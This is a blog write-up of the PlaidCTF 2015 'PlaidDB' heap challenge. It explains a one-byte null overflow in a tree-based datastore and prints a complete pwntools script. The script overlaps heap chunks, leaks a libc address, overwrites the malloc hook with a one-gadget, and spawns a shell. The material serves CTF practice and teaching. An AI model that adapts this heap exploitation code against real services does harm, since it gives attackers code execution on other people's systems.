PlaidCTF 2015 PWN PlaidDB Write-up

Introduction

It is just a practice of heap challenge. At time of 2015, the challenge seems difficult and there is no knowledge of one gadget to get shell. How fast the technique evolves!!

Vulnerability

There exists a one-byte-off-null vulnerability in 0x1040 function. All data in this challenge is maintained via a tree structure. I spend some time reversing the tree operation. But I learned that there is no vulnerability in tree operation[1].

struct treeNode {
    char *key;
    int   length;
    int   color;
    char *data;
    treeNode *left;
    treeNode *right;
    treeNode *parent;
}

Exploit Plan

The exploitation plan is the same as my previous tutorial on overlapping chunk.
The difficult part of this challenge is how to put two unsorted bin together in memory. I need to prepare many fastbin chunk in the first place and put two data buffer together and put the victim chunk adjacent to them.

Exploit

from pwn import *

DEBUG = int(sys.argv[1])

if(DEBUG == 0):
	r = remote("1.2.3.4", 23333);
elif(DEBUG == 1):
	r = process("./datastore");
elif(DEBUG == 2):
	r = process("./datastore");
	gdb.attach(r, '''source ./script.py''');

def put(key, size, data):
	r.recvuntil("Enter command:");
	r.sendline("PUT");
	r.recvuntil("Enter row key:");
	r.sendline(key);
	r.recvuntil("Enter data size:");
	r.sendline(str(size));
	r.recvuntil("Enter data:");
	r.send(data);

def get(key):
	r.recvuntil("Enter command:");
	r.sendline("GET");
	r.recvuntil("Enter row key:");
	r.sendline(key);


def dump():
	r.recvuntil("Enter command:");
	r.sendline("DUMP");

def delete(key):
	r.recvuntil("Enter command:");
	r.sendline("DEL");
	r.recvuntil("Enter row key:");
	r.sendline(key);


def exploit():
	put("A"*0x10, 0x58, "a"*0x58);
	put("B"*0x10, 0x58, "b"*0x58);
	put("C"*0x10, 0x58, "c"*0x58);
	put("D"*0x10, 0x58, "d"*0x58);
	put("E"*0x10, 0x2a8, "e"*0x1f0 + p64(0x200) + p64(0xb0) + "e"*0xa8);

	delete("A"*0x10);
	delete("B"*0x10);
	delete("C"*0x10);
	delete("D"*0x10);
	#delete("E"*0x10);

	get("X"*0x80);


	put("F"*0x10, 0x320, 'f'*0x320);
	put("G"*0x10, 0x38, "g"*0x38);
	put("H"*0x10, 0x38, "h"*0x38);
	put("I"*0x10, 0x38, "i"*0x38);
	put("J"*0x10, 0x58, "j"*0x58);
	put("P"*0x10, 0x38, "p"*0x38);

	delete("J"*0x10);
	delete("I"*0x10);
	delete("H"*0x10);
	delete("G"*0x10);
	delete("E"*0x10);


	put("K"*0x10, 0x58, "k"*0x58);

	get("X"*0x18);

	put("", 0x98, "l"*0x98);
	put("M"*0x10, 0x68, "m"*0x68);

	delete("");

	put("N"*0x10, 0xe8, "n"*0xe8);

	delete("F"*0x10);

	put("O"*0x10, 0xc8, "o"*0x98 + p64(0x71) + "o"*0x28);

	get("M"*0x10);
	#halt();

	r.recvuntil("o"*0x28);
	r.recv(8);
	leaked = r.recv(8);
	leakedValue = u64(leaked);
	log.info("Leaked value: 0x%x" % leakedValue);
	libcBaseAddr = leakedValue - 0x3be7b8;
	log.info("Libc base address: 0x%x" % libcBaseAddr);

	delete("M"*0x10);
	delete("O"*0x10);

	fakeFastAddr = libcBaseAddr + 0x3be70d;

	fakeMallocPtr = libcBaseAddr + 0x82f04;
	oneGadgetAddr = libcBaseAddr + 0x4652c;

	put("O"*0x10, 0xc8, "o"*0x98 + p64(0x71) + p64(fakeFastAddr) + "o"*0x20);

	put("fake1", 0x68, "1"*0x68);

	put("fake2", 0x68, "A"*0x13 + p64(oneGadgetAddr) + "A"*8 + p64(fakeMallocPtr) + "A"*0x3d);
	
	r.recvuntil("Enter command:");
	r.sendline("PUT");

	r.interactive();
	
exploit();

Reference

http://winesap.logdown.com/posts/261369-plaid-ctf-2015-plaiddb-writeup

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.